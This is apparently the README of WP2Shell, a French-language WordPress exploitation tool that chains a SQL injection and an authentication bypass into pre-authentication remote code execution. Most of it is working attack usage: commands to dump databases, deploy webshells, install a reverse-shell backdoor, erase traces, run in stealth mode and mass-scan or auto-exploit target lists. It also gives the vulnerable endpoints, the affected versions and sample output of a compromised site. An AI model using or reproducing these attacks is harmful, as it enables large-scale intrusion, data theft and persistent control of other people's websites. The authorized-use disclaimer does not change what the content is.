
Framework modulaire d'exploitation WordPress pré-authentification enchaînant injection SQL et contournement d'authentification pour fournir exécution de code à distance, shells interactifs, portes dérobées et analyse de vulnérabilités à grande échelle.
CVE-2026-63030 + CVE-2026-60137
Version : 4.0.0
Auteur : G0D150NE
WP2Shell est un outil d'exploitation en chaîne complète pour l'exécution de code à distance pré-authentification WordPress. Il combine deux vulnérabilités critiques :
Cet outil permet de compromettre entièrement les installations WordPress vulnérables sans aucune authentification - de la détection jusqu'au RCE complet et à la persistance.
# Clone repository
git clone https://github.com/g0d150ne/wp2shell.git
cd wp2shell
# No dependencies needed - uses Python 3.8+ standard library
chmod +x wp2shell.py
python3 wp2shell.py [COMMAND] [OPTIONS] [TARGET]
| Commande | Description |
|---|---|
check | Confirmation de vulnérabilité non destructive |
read | Extraire des données via injection SQL |
exploit | Chaîne RCE complète pré-auth |
shell | Déployer un webshell avec des identifiants existants |
masscan | Scanner en masse plusieurs cibles |
autopwn | Découverte automatique → scan → exploitation |
python3 wp2shell.py check https://target.com
python3 wp2shell.py check https://target.com --confirm-timing --sleep 5
Empreinte de base :
python3 wp2shell.py read https://target.com
Extraire les utilisateurs :
python3 wp2shell.py read https://target.com --preset users
Requête personnalisée :
python3 wp2shell.py read https://target.com --query "SELECT @@version"
Dumper la base de données entière :
python3 wp2shell.py read https://target.com --preset dumpall --max-length 4096
Exploitation de base :
python3 wp2shell.py exploit https://target.com
Exploitation avec shell interactif :
python3 wp2shell.py exploit https://target.com --interactive
Exploitation avec installation de backdoor :
python3 wp2shell.py exploit https://target.com --backdoor --lhost 192.168.1.100 --lport 4444
Exploitation avec dump de la base de données :
python3 wp2shell.py exploit https://target.com --dumpdb
Exploitation avec nettoyage (suppression des traces) :
python3 wp2shell.py exploit https://target.com --cleanup
python3 wp2shell.py shell https://target.com --user admin --password secret123 --interactive
python3 wp2shell.py shell https://target.com --user admin --password secret123 --command "whoami"
# Create targets file
echo "https://target1.com" > targets.txt
echo "https://target2.com" >> targets.txt
# Scan with 50 threads
python3 wp2shell.py masscan --file targets.txt --threads 50 --output results.csv
python3 wp2shell.py autopwn --domain example.com --lhost 192.168.1.100
Ceci va :
Après l'exploitation, vous obtenez un shell interactif complet :
python3 wp2shell.py exploit https://target.com -i
[*] Interactive shell — type 'exit' to quit
/var/www/html $ id
uid=33(www-data) gid=33(www-data)
/var/www/html $ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
...
/var/www/html $ exit
| Option | Description |
|---|---|
--timeout | Délai d'expiration HTTP en secondes (défaut : 30) |
--proxies | Liste de proxys séparés par des virgules (ex. : http://127.0.0.1:8080) |
--stealth | Activer le mode furtif avec des délais aléatoires |
-v, --verbose | Activer la sortie de débogage |
-q, --quiet | Supprimer la bannière et les messages d'information |
| Option | Description |
|---|---|
--prefix | Préfixe de table (défaut : wp_) |
--auto-prefix | Découverte automatique du préfixe de table |
--max-length | Nombre maximal de caractères par valeur (défaut : 128) |
--technique | Technique d'extraction : auto/union/error/blind |
--preset | Préréglage de données : fingerprint/users/dumpall |
--query | Expression SQL arbitraire à extraire |
| Option | Description |
|---|---|
--prefix | Préfixe de table (défaut : wp_) |
--no-discover | Ignorer la découverte automatique, utiliser les valeurs par défaut |
-i, --interactive | Ouvre un shell après l'exploitation |
-c, --command | Exécuter une commande unique après l'exploitation |
--backdoor | Installer une backdoor de persistance |
--lhost | LHOST pour le shell inversé (défaut : 10.0.0.1) |
--lport | LPORT pour le shell inversé (défaut : 4444) |
--dumpdb | Dumper la base de données après l'exploitation |
--cleanup | Supprimer l'utilisateur créé et le webshell à la sortie |
Injection SQL (CVE-2026-63030)
/wp-json/batch/v1author_exclude est vulnérable à une injection SQL aveugle temporelleContournement d'authentification (CVE-2026-60137)
/_embed| Version | Statut |
|---|---|
| 6.9.0 | ✅ Vulnérable |
| 6.9.1 | ✅ Vulnérable |
| 6.9.2 | ✅ Vulnérable |
| 6.9.3 | ✅ Vulnérable |
| 6.9.4 | ✅ Vulnérable |
| 7.0.0 | ✅ Vulnérable |
| 7.0.1 | ✅ Vulnérable |
| ≥ 7.0.2 | ❌ Corrigé |
| Technique | Vitesse | Taille des données | Exigences |
|---|---|---|---|
| UNION | ⚡ Très rapide | Illimitée | La cible ne doit pas filtrer UNION |
| Error | 🚀 Rapide | ~30 caractères/req | La cible doit exposer les messages d'erreur |
| Blind | 🐢 Lente | Illimitée | Oracle booléen disponible |
░▒▓█▓▒░░▒▓█▓▒░░▒▓█▓▒░▒▓███████▓▒░▒▓███████▓▒░ ░▒▓███████▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓████████▓▒░▒▓█▓▒░ ░▒▓█▓▒░
CVE-2026-63030 + CVE-2026-60137
WordPress Pre-Auth RCE [v4.0.0]
+ G0D150NE
[1/7] Reconnaissance
Target: https://target.com
WordPress 6.9.3
[+] UNION extraction available (in-band, 1 request/value)
[2/7] Enumerating target
[+] Discovered table prefix: wp_
[3/7] Locating embed target
[+] Embed URL: https://target.com/2020/01/01/hello-world/
[4/7] Seeding oEmbed cache posts
[+] Seed payload delivered
[5/7] Extracting cache post IDs
[+] Cache IDs: [12345, 12346, 12347, 12348]
[6/7] Triggering escalation chain
[+] Administrator created via re-entry chain
[7/7] Deploying webshell
[+] Authenticated
[+] RCE confirmed
uid: www-data
[+] ========================================================
[+] TARGET COMPROMISED
[+] Admin: wp_service_a1b2 / G7hK9xQw2p$L!mN
[+] Shell: https://target.com/wp-content/plugins/cache_a1b2/cache_a1b2.php
[+] ========================================================
Cet outil est destiné uniquement aux tests de sécurité autorisés et à des fins éducatives. Toute utilisation contre des systèmes sans autorisation explicite est illégale. Les auteurs déclinent toute responsabilité en cas d'utilisation abusive.
Vous avez trouvé un bug ? Vous souhaitez améliorer l'outil ? Les pull requests sont les bienvenues !
Licence MIT - Consultez le fichier LICENSE pour plus de détails.